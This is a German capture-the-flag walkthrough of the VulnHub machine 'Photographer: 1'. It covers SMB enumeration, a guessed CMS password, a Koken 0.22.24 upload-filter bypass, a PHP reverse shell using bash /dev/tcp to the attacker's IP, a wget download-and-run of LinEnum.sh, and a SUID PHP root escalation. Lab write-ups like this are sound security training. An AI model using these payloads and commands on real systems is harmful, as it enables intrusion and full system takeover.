VM: Photographer: 1
Quelle:www.vulnhub.com
Ziel: Flags user.txt und proof.txt auslesen.
Tools: NMAP, Burp Suite, Netcat, LinEnum.sh
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using, SUID
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP
welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP
installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.160
(rot unterstrichen) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.160
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:
Port | Service |
80 | HTTP |
139 | SMB über NetBIOS |
445 | SMB über TCP |
8000 | HTTP |
Schritt 2: Enumeration
Port 80 – HTTP Server
Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server
an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.http://192.168.178.160
Leider können wir hier keine für uns interessante Informationen finden.
Port 139 + 445 – SMB
Sehen wir uns mal den SMB-Service an. Mit dem Befehl smbclient -L 192.168.178.160
sehen wir uns die Freigegebene Ordner an.
Da wir kein Passwort haben, bestätigen wir einfach die leere Eingabe. Hier können wir eine „sambashare“ Freigabe sehen auf die wir zugreifen können. Versuchen wir es zu mounten und zu prüfen was sich darauf befindet.
root@Kali202002:/# cd /tmp
root@Kali202002:/tmp# mkdir mnt
root@Kali202002:/tmp# mount -t cifs //192.168.178.160/sambashare mnt
Hier finden wir zwei Dateien.
mailsent.txt
wordpress.bkp.zip
Beim wordpress.bkp.zip
handelt es sich um einen Backup einer WordPress Installation. Leider sind keine für uns Interessante Daten dabei. Bei der Datei mailsent.txt
ist es schon interessanter:
Message-ID: 4129F3CA.2020509@dc.edu
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence agi@photographer.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi daisa@photographer.com
Subject: To Do – Daisa Website’s
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bitHi Daisa!
Your site is ready now.
Don’t forget your secret, my babygirl 😉
Hier können schon etwas mehr Informationen sammeln.
Es sind zwei Namen mit E-Mail AdressenAgi Clarence agi@photographer.com
Daisa Ahomi daisa@photographer.com
Und auch der Satz Don't forget your secret, my babygirl ;)
könnte interessant sein. Mehr ist an der Stelle nicht zu holen, deswegen gehen wir zum nächsten Port über.
Port 8000 – HTTP
Zuerst öffnen wir die unsere IP mit dem Port im Browser: 192.168.178.160:8000
Hier können wie eine Frontend Seite des CMS "Koken"
welche für Daisa Ahomi
konfiguriert wurde. Vermutlich ist das die Seite, welche in der vorher gefundener E-Mail erwähnt wurde.
Leider ist keine Login Möglichkeit sichtbar. Scannen wir die Seite auf vorhanden Verzeichnisse nmap 192.168.178.160 -p 8000 --script=http-enum
.
In der Liste das Ergebnis sehen wir ein vielversprechendes Verzeichnis "admin"
. Probieren wir es mal aus.
Hier finden wir eine Login Aufforderung. Als Benutzername nehmen wir die E-Mail-Adresse von Daisa und als Passwort probieren wir babygirl
Damit haben wir uns einen Zugang zum Adminbereich geschafft.
Schritt 3: Exploration
Nach dem Einloggen suchen wir nach einer Möglichkeit zum hochladen von eigenen Dateien. Leider kann man mit dem eingebauten Import nur Bilder und Video hochladen. Unter Settings - Console
finden wir die Version von dem CMS: 0.22.24
.
Dazu finden wir auf der Seite https://www.exploit-db.com ein passendes Exploit. So wie es aussieht wird die Datei nur Clientseitig geprüft und es ist möglich den Dateinamen in dem Uploadstream zu ändern. Dazu brauchen wir einen Lokalen Proxy z.B. Burp Suite
.
An dieser Stelle haben wir zwei Wege. Unter Library - Content
liegt ein Skript shell.php
welches heruntergeladen, angepasst und wieder hochgeladen werden muss. Oder wir nehmen einfach ein eigenes Reverse Shell
Skript. Ich habe mich für Variante 2 entschieden und habe folgendes Skript vorbereitet und als rs.php.jpg abgespeichert.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.155/8888 0>&1'");
?>
Jetzt können wir es versuchen unseren Reverse Shell
Skript hoch zu laden.
Voraussetzungen dafür sind:
– Burp Suite
ist gestartet und Proxy steht auf „Intercept is on
„
– In dem Web-Browser ist der Proxy konfiguriert
Die genaue Anleitung ist gut auf der Exploit Seite beschrieben, deswegen werde ich es nicht nochmal beschreiben.
Laden wir unsere vorbereitete Datei hoch und passen die Einstellungen in Burp Suite
wie es in Exploit Beschreibung steht.
Wenn die Datei hochgelanden ist, können wir diese unter Library - Content
die Datei auswählen und bei Download File
den Link kopieren.
Unten sieht Ihr wie das URL aussehen soll.
Schritt 4 – Reverse Shell
Jetzt ist die Zeit gekommen eine Verbindung zu dem Server mittels Reverse Shell herzustellen. Dazu brauchen wir das Tool Netcat
.
Auf unserem Lokalem Rechner starten wir den Netcat
mit folgenden Parameter: nc -lvp 8888
. Damit lauscht der Netcat
auf dem Port 8888 auf eingehende Verbindungen.
Um die Verbindung aufzubauen müssen die die vorher hochgeladene Datei im Web-Browser aufrufen, die Proxy Funktion im Burp Suite
muss ausgeschaltet werden.
Nachdem wir das Skript aufgerufen haben, sehen wir eine Verbindung zum Netcat. Jetzt können wir den Host auf weitere Möglichkeiten zur Rechte Eskalation untersuchen.
Schritt 5 – Host Exploration
Jetzt, wo wir ein Shell Zugriff auf das System haben können wir versuchen möglichst viel Informationen über das System zu sammeln.
Unter /home/daisa/user.txt
finden wir den ersten Flag.
Zur weiterer Analyse nutzen wir das Skript LinEnum.sh
welches wir dann von unserem Rechner herunterladen können. Dazu starten wir in dem Verzeichnis wo das Skript liegt einen HTTP-Server.
python -m SimpleHTTPServer 8000
Laden die Datei auf dem Zielrechner herunter führen sie aus:
cd /tmp
wget 192.168.178.155:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Bei der Analyse der Ausgabe fällt uns folgendes aus:
Das Programm PHP kann root
Rechten gestartet werden. Dazu spawnen wir eine Shell mit Hilfe von PHP php -r "pcntl_exec('/bin/bash', ['-p']);"
und lesen die proof.txt
aus.